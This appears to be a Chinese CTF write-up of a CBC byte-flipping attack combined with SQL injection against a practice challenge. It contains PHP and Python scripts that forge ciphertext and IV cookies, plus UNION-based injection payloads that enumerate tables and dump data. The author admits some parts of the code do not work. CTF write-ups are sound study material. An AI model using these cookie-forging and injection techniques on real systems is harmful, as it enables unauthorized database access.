1. 程式人生 > >實驗吧---簡單的登陸題(CBC位元組翻轉攻擊)

實驗吧---簡單的登陸題(CBC位元組翻轉攻擊)

具體原理就不介紹了,百度上很多,直接放程式碼。因為用python3執行pcat大神的指令碼出現很多語法和編碼問題,所以打算用php指令碼重寫一遍攻擊過程。

第一步:填寫0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);%00

提交後取得返回的cipher,替換php中的字串,執行php檔案,程式碼如下:

<?php 
$cipher_new = base64_decode(urldecode('E%2F2btd4lXULo0you%2FWrX2koJP%2BTE3geRjh0KCNQQ%2BIG54oHA5d3PDDejYyPIJgha49NuNN1A3GWbf7r9JiLun8reIPrsAjymZJFBNDnZYX8mw9Q6aFKKGWQTZxrlwNB04I9a%2FFnBGq1kpTcPtlLrwg%3D%3D'));//獲得的cipher替換此處的字串
$cipher_new[6]=$cipher_new[6]^'2'^'u';//CBC位元組翻轉攻擊
$cipher_new = urlencode(base64_encode($cipher_new));//編碼
printf("%s",$cipher_new);//輸出,可以重定向到某個檔案中,便於貼上
?>

第二步,把從第一步得到的cipher_new填寫到請求頭中,替換原有的cipher,發起請求,獲得plain,用第一步獲得的iv和現在得到的plain替換php檔案中的字串,執行php檔案,獲得iv_new,程式碼如下:

<?php  
$iv_raw = base64_decode(urldecode('QO%2BuxhnlXj%2F0fqrGaXPt1g%3D%3D'));//用iv替換字串
$plain = base64_decode('gSwYUxnRPhRbyBPMyamSvjg2OiIwIHVuaW9uIHNlbGVjdCAqIGZyb20oKHNlbGVjdCAxKWEgam9pbiAoc2VsZWN0ICogZnJvbSB5b3Vfd2FudCliIGpvaW4gKHNlbGVjdCAzKWMpOyUwMCI7fQ==');//用獲得的plain替換字串
$first='a:1:{s:2:"id";s:';//16個位元組,即明文的第一行
$iv_new='';
for ($i=0; $i<16; $i++) {//進行異或,得到新的iv,使反序列化執行成功
    $iv_new.=$first[$i]^$iv_raw[$i]^$plain[$i];//這裡用.=而不是+=
} 
printf("%s",urlencode(base64_encode($iv_new)));
?>

第三步,用第二步獲得的iv_new和第一步獲得的cipher_new發起請求,sql語句提交成功。但是在實際試驗中發現提示語法錯誤:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%00,0' at line 1。不知道是怎麼回事,%00截斷沒有生效

考慮到需要把攻擊自動化,重寫了pcat大神的python程式碼,跳過了許多編碼和bytes轉換的坑,然而最後還是遇到了問題,我在相關的地方用註釋標註了出來。

# -*- coding:utf8 -*-
from base64 import *
import urllib
import requests
import re
import base64
import binascii
def mydecode(value):
    return b64decode(urllib.parse.unquote(value))

def myencode(value):
    return urllib.parse.quote(b64encode(value))#

def denglu(payload,idx,c1,c2):

    url='http://ctf5.shiyanbar.com/web/jiandan/index.php'
    payload = {'id': payload}
    #獲取iv和cipher
    r = requests.post(url, data=payload)
    Set_Cookie=r.headers['Set-Cookie']
    iv=re.findall("iv=(.*?),", Set_Cookie)[0]
    #iv='ER8b9BiqqPMBOrJhZISTtg%3D%3D'用於測試的iv
    cipher=re.findall("cipher=(.*)", Set_Cookie)[0]
    #cipher='poohZTMmvCNHNUy0%2FrrWMfMh%2BuGqewJRYnhVJdekyI0%3D'用於測試的cipher
    
    #修改cipher
    iv_raw = mydecode(iv)
    cipher_raw=mydecode(cipher)#cipher_raw是bytes型別,不支援assignment,轉換成list
    cipher_new=list(cipher_raw)
    cipher_new[idx]=(cipher_raw[idx]^ord(c1)^ord(c2))#cipher_new是list型別,每個元素是int
    cipher_new_b=myencode(bytes(cipher_new))#list轉bytes,直接轉
    cookie_new={'iv': iv,'cipher':cipher_new_b}

    #獲取plain
    r = requests.post(url, cookies=cookie_new)#2
    cont=r.content
    plain = re.findall("base64_decode\('(.*?)'\)", bytes.decode(cont))[0]
    plain = b64decode(plain)

    #通過iv_new修復cipher_new,避免unserialize失敗
    first='a:1:{s:2:"id";s:'
    iv_new=''#iv_new 是字串型別
    for i in range(16):
        iv_new+=chr((ord(first[i]))^(plain[i])^(iv_raw[i]))
    print(binascii.b2a_hex(plain))
    print(binascii.b2a_hex(iv_raw))
    #這裡出了問題,iv_new經過異或運算後,
    #與php所求結果不同,但是輸出plain和iv_raw的十六進位制格式與php輸出的plain和iv_raw做比對,
    #發現沒有差別。不知道為什麼同樣的變數,異或之後得到的結果不同,導致這個指令碼不能提交sql語句,
    #而是又返回一個can not unserialize的提示
    cookie_new = {'iv': ''.join(iv_new), 'cipher': cipher_new_b}
    r = requests.post(url, cookies=cookie_new)#3
    rcont = r.content
    print (rcont)

denglu('12',4,'2','#')
#denglu('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
#denglu('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
#denglu("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
#denglu("0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);"+chr(0),6,'2','u')

最後還有一個問題,為什麼CBC翻轉攻擊的時候不是替換第5個位元組,而是替換第6個位元組。講道理"id=0 2"中,2在陣列內的索引應該是5啊!?

補充:

1、可能是php或者mysql修復了%00截斷,因為直接輸入1;%00依然無法實現截斷

2、python異或結果不對可能是編碼問題,懶得轉成二進位制逐個bit去比對了

3、CBC翻轉攻擊時替換第6個位元組是因為,php中陣列的儲存方式類似a:1:{s:2:"id";s:84:"0 2nion select * from((select 1)a...,是key-value的形式,key和value中間還有一個整數用來表示value的位元組數,如果這個整數的位數發生改變,那麼CBC位元組翻轉攻擊需要修改的位元組就得改變。

再補充:

1、%00截斷並不是字面意義上的截斷,而是指%00經過urldecode之後會變成空字元\0,我們知道在c語言中\0是字串的結尾,所以\0之後的字元就被截斷了。所以,在本道題中不能直接輸入1;%00,因為這樣會被編碼成1%3B%2500,需要用burpsuit抓包後修改為1%3B%00,然後再post才能成功截斷。

2、引用百度的一段介紹“Python 3最重要的新特性大概要算是對文字和二進位制資料作了更為清晰的區分。文字總是Unicode,由str型別表示,二進位制資料則由bytes型別表示。Python 3不會以任意隱式的方式混用str和bytes,正是這使得兩者的區分特別清晰。你不能拼接字串和位元組包,也無法在位元組包裡搜尋字串(反之亦然),也不能將字串傳入引數為位元組包的函式(反之亦然)。這是件好事。”我不認同這個說法,複雜的編解碼大大降低了變成的效率,所以如果要寫自動化攻擊用的指令碼的話,還是推薦用python2吧。